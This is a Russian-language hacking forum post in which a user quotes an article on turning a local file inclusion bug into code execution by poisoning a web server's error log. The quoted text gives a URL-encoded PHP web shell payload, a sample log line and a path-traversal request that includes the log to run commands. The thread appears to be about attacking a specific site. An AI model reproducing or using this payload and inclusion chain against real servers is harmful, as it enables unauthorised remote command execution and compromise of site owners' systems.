Показать сообщение отдельно

  #4  
Старый 20.09.2017, 23:18
billybonse
Познающий
Регистрация: 09.10.2011
Сообщений: 55
С нами: 7680566

Репутация: 1
По умолчанию

Цитата:
Сообщение от crlf  

Пейлод нужно в юзерагенте передавать
В соседней статье:

"Ты пишешь мини шелл: , кодируешь всё в url, составляешь и отправляешь пакет:

POST httр://localhost/epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E HTTP/1.1

Host: localhost


А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:

Code:

127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326

т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё докак обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo()."

Для сессии нужна рега, если я не ошибаюсь, которой здесь нет.
 
Ответить с цитированием